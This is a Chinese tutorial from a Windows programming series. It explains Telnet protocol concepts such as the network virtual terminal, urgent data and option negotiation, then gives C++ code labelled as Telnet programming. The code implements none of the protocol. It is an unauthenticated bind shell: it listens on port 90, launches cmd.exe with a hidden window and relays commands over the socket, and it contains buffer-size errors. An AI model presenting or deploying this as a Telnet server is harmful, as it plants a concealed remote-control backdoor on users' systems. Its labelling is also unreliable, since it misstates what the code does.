基于visual c++之windows核心编程代码分析(30)Telnet协议编程
Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。
Telnet协议?它都具备哪些特点呢?
1、 基本内容
Telnet是位于OSI模型的第7层---应用层上的一种协议,是一个通过创建虚拟终端提供连接到远程主机终端仿真的TCP/IP协议。这一协议需要通过用户名和口令进行认证,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:
1)Telnet定义一个网络虚拟终端为远程系统提供一个标准接口。客户机程序不必详细了解远程系统,他们只需构造使用标准接口的程序;
2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项; .
3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。
2 、适应异构
为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远程系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。 为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下: 对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式; 对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。 对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。
3 、传送远程命令
我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远程传送呢? Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达远地机器后转化为相应的控制命令。 将正常ASCII字符集与控制命令区分的原因:
1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;
2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。 .
4 、数据流向
上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向: 数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过网络传送到远程机器,远程操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远程操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。 因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。 .
5、 强制命令
我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远程服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远程机器的控制。 为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。
6 、选项协商
由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。 Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。
下面我们在代码中实践Telnet协议编程
#include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "kernel32.lib") #define PORT 90 SOCKET ServerSocket = INVALID_SOCKET; SOCKET ClientSocket = INVALID_SOCKET; HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile; u_char varA,varB; DWORD WINAPI ThreadFuncA( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD nByteToWrite, nByteWritten; char recv_buff[1024]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadPipe, &hWriteFile, &pipeattr, 0); varA = 1; while(true) { Sleep(250); nByteToWrite = recv(ClientSocket,recv_buff,1024,0); WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL); } return 0; } DWORD WINAPI ThreadFuncB( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD len; char send_buff[25000]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0); varB = 1; while (true) { ReadFile(hReadFile,send_buff,25000,&len,NULL); send(ClientSocket,send_buff,len,0); } return 0; } void Enter(void) { WSADATA WSAData; struct sockaddr_in RemoteAddr; DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0; OSVERSIONINFO osvi; PROCESS_INFORMATION processinfo; STARTUPINFO startinfo; WSAStartup(MAKEWORD(2,2),&WSAData); ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); RemoteAddr.sin_family = AF_INET; RemoteAddr.sin_port = htons(PORT); RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY; bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)); listen(ServerSocket, 5); varA = 0; varB = 0; CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA); CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB); do{ Sleep(250); }while((varA || varB) == 0); GetStartupInfo(&startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; startinfo.hStdInput = hReadPipe; startinfo.hStdError = hWritePipe; startinfo.hStdOutput = hWritePipe; startinfo.wShowWindow = SW_HIDE; osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi); char szAPP[256]; GetSystemDirectory(szAPP,MAX_PATH+1); if(osvi.dwPlatformId == 2) { strcat(szAPP,"\\cmd.exe"); if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0) { return; } } else { strcat(szAPP,"\\command.exe"); CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo); } while (true) { ClientSocket = accept(ServerSocket, NULL, NULL); Sleep(250); } }